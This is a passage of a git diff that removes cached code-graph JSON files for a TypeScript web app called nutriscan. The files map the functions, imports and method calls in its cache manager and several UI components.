"source_location": "L41", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_constructor", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L46", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_generatecachekey", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L53", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_generatesearchid", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L66", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_iscachevalid", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L73", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_getcacheindex", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L80", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_updatecacheindex", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L92", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_getobjectsize", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L103", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_cleanupoldcaches", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L110", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_savesearch", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L158", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_getsearch", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L210", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_removesearch", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L238", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_clearallcaches", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L261", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_getcachestats", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L274", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager", "target": "lib_cachemanager_cachemanager_hasspacefordata", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L324", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_cachemanager", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L335", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_cachemanager_ts", "target": "lib_cachemanager_usecachemanager", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L338", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_cleanupoldcaches", "target": "lib_cachemanager_cachemanager_getcacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L112", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_cleanupoldcaches", "target": "lib_cachemanager_cachemanager_iscachevalid", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L121", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_cleanupoldcaches", "target": "lib_cachemanager_cachemanager_updatecacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L149", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_savesearch", "target": "lib_cachemanager_cachemanager_cleanupoldcaches", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L166", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_savesearch", "target": "lib_cachemanager_cachemanager_generatesearchid", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L168", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_savesearch", "target": "lib_cachemanager_cachemanager_generatecachekey", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L169", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_savesearch", "target": "lib_cachemanager_cachemanager_getobjectsize", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L182", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_savesearch", "target": "lib_cachemanager_cachemanager_getcacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L194", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_savesearch", "target": "lib_cachemanager_cachemanager_updatecacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L197", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_getsearch", "target": "lib_cachemanager_cachemanager_generatecachekey", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L216", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_getsearch", "target": "lib_cachemanager_cachemanager_iscachevalid", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L223", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_removesearch", "target": "lib_cachemanager_cachemanager_generatecachekey", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L244", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_removesearch", "target": "lib_cachemanager_cachemanager_getcacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L247", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_removesearch", "target": "lib_cachemanager_cachemanager_updatecacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L249", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_clearallcaches", "target": "lib_cachemanager_cachemanager_getcacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L263", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_getcachestats", "target": "lib_cachemanager_cachemanager_getcacheindex", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L281", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_getcachestats", "target": "lib_cachemanager_cachemanager_getobjectsize", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L289", "weight": 1.0}, {"source": "lib_cachemanager_cachemanager_hasspacefordata", "target": "lib_cachemanager_cachemanager_getcachestats", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L326", "weight": 1.0}], "raw_calls": [{"caller_nid": "lib_cachemanager_cachemanager_generatecachekey", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L58"}, {"caller_nid": "lib_cachemanager_cachemanager_generatecachekey", "callee": "replace", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L60"}, {"caller_nid": "lib_cachemanager_cachemanager_generatecachekey", "callee": "btoa", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L60"}, {"caller_nid": "lib_cachemanager_cachemanager_generatesearchid", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L67"}, {"caller_nid": "lib_cachemanager_cachemanager_generatesearchid", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L67"}, {"caller_nid": "lib_cachemanager_cachemanager_generatesearchid", "callee": "substr", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L67"}, {"caller_nid": "lib_cachemanager_cachemanager_generatesearchid", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L67"}, {"caller_nid": "lib_cachemanager_cachemanager_generatesearchid", "callee": "random", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L67"}, {"caller_nid": "lib_cachemanager_cachemanager_iscachevalid", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L74"}, {"caller_nid": "lib_cachemanager_cachemanager_getcacheindex", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L82"}, {"caller_nid": "lib_cachemanager_cachemanager_getcacheindex", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L83"}, {"caller_nid": "lib_cachemanager_cachemanager_updatecacheindex", "callee": "setItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L94"}, {"caller_nid": "lib_cachemanager_cachemanager_updatecacheindex", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L94"}, {"caller_nid": "lib_cachemanager_cachemanager_updatecacheindex", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L96"}, {"caller_nid": "lib_cachemanager_cachemanager_getobjectsize", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L104"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L117"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L120"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "push", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L122"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "removeItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L124"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "removeItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L128"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "sort", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L135"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "slice", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L141"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L145"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "splice", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L146"}, {"caller_nid": "lib_cachemanager_cachemanager_cleanupoldcaches", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L151"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L174"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L184"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "slice", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L185"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "floor", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L187"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "setItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L191"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L191"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "includes", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L195"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "push", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L196"}, {"caller_nid": "lib_cachemanager_cachemanager_savesearch", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L202"}, {"caller_nid": "lib_cachemanager_cachemanager_getsearch", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L217"}, {"caller_nid": "lib_cachemanager_cachemanager_getsearch", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L221"}, {"caller_nid": "lib_cachemanager_cachemanager_getsearch", "callee": "removeItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L224"}, {"caller_nid": "lib_cachemanager_cachemanager_getsearch", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L230"}, {"caller_nid": "lib_cachemanager_cachemanager_removesearch", "callee": "removeItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L245"}, {"caller_nid": "lib_cachemanager_cachemanager_removesearch", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L248"}, {"caller_nid": "lib_cachemanager_cachemanager_removesearch", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L253"}, {"caller_nid": "lib_cachemanager_cachemanager_clearallcaches", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L264"}, {"caller_nid": "lib_cachemanager_cachemanager_clearallcaches", "callee": "removeItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L265"}, {"caller_nid": "lib_cachemanager_cachemanager_clearallcaches", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L267"}, {"caller_nid": "lib_cachemanager_cachemanager_getcachestats", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L287"}, {"caller_nid": "lib_cachemanager_cachemanager_getcachestats", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L291"}, {"caller_nid": "lib_cachemanager_cachemanager_getcachestats", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L311"}, {"caller_nid": "lib_cachemanager_usecachemanager", "callee": "bind", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L340"}, {"caller_nid": "lib_cachemanager_usecachemanager", "callee": "bind", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L341"}, {"caller_nid": "lib_cachemanager_usecachemanager", "callee": "bind", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L342"}, {"caller_nid": "lib_cachemanager_usecachemanager", "callee": "bind", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L343"}, {"caller_nid": "lib_cachemanager_usecachemanager", "callee": "bind", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L344"}, {"caller_nid": "lib_cachemanager_usecachemanager", "callee": "bind", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\cacheManager.ts", "source_location": "L345"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/6bb43725ebfe943dbdf2c53d86539e4b06ed70e3cff8b4b75d751df7919f1830.json b/graphify-out/cache/ast/6bb43725ebfe943dbdf2c53d86539e4b06ed70e3cff8b4b75d751df7919f1830.json
deleted file mode 100644
index 5cd4c03..0000000
--- a/graphify-out/cache/ast/6bb43725ebfe943dbdf2c53d86539e4b06ed70e3cff8b4b75d751df7919f1830.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "label": "FilterBadge.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L1"}, {"id": "components_filterbadge_filterbadgeprops", "label": "FilterBadgeProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L7"}, {"id": "components_filterbadge_filterbadge", "label": "FilterBadge()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L14"}, {"id": "components_filterbadge_filterbadgesprops", "label": "FilterBadgesProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L40"}, {"id": "components_filterbadge_filterbadges", "label": "FilterBadges()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L46"}, {"id": "components_filterbadge_getfilterlabel", "label": "getFilterLabel()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L127"}, {"id": "components_filterbadge_getfiltercolor", "label": "getFilterColor()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L146"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "d_documents_github_nutriscan_components_ui_badge_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "ui_badge_badge", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "components_filterbadge_filterbadgeprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "components_filterbadge_filterbadge", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "components_filterbadge_filterbadgesprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L40", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "components_filterbadge_filterbadges", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L46", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "components_filterbadge_getfilterlabel", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L127", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "target": "components_filterbadge_getfiltercolor", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L146", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_filterbadge_filterbadges", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L51"}, {"caller_nid": "components_filterbadge_filterbadges", "callee": "entries", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L51"}, {"caller_nid": "components_filterbadge_filterbadges", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L72"}, {"caller_nid": "components_filterbadge_getfilterlabel", "callee": "labels[key]", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L143"}, {"caller_nid": "components_filterbadge_getfiltercolor", "callee": "String", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L155"}, {"caller_nid": "components_filterbadge_getfiltercolor", "callee": "String", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterBadge.tsx", "source_location": "L165"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/6f2d315dbec7c30e23e67d8e19b4058c45e51dd34ba4ce5ca0cc3fbb5b9b6912.json b/graphify-out/cache/ast/6f2d315dbec7c30e23e67d8e19b4058c45e51dd34ba4ce5ca0cc3fbb5b9b6912.json
deleted file mode 100644
index d77017d..0000000
--- a/graphify-out/cache/ast/6f2d315dbec7c30e23e67d8e19b4058c45e51dd34ba4ce5ca0cc3fbb5b9b6912.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_ctasection_tsx", "label": "CTASection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx", "source_location": "L1"}, {"id": "components_ctasection_ctasection", "label": "CTASection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx", "source_location": "L6"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_ctasection_tsx", "target": "link", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_ctasection_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_ctasection_tsx", "target": "components_ctasection_ctasection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx", "source_location": "L6", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_ctasection_ctasection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\CTASection.tsx", "source_location": "L60"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/6fbed281fdc8efecc0990ed04052772307e6ec8da94adaeade3f0167254f4418.json b/graphify-out/cache/ast/6fbed281fdc8efecc0990ed04052772307e6ec8da94adaeade3f0167254f4418.json
deleted file mode 100644
index 892f8ed..0000000
--- a/graphify-out/cache/ast/6fbed281fdc8efecc0990ed04052772307e6ec8da94adaeade3f0167254f4418.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "label": "PersuasiveCTA.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L1"}, {"id": "landing_persuasivecta_persuasivecta", "label": "PersuasiveCTA()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L9"}, {"id": "landing_persuasivecta_arrowright", "label": "ArrowRight()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L132"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "d_documents_github_nutriscan_hooks_use_search_logic_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\PersuasiveCTA.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_persuasivecta_tsx", "target": "hooks_use_search_logic_usesearchlogic", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": 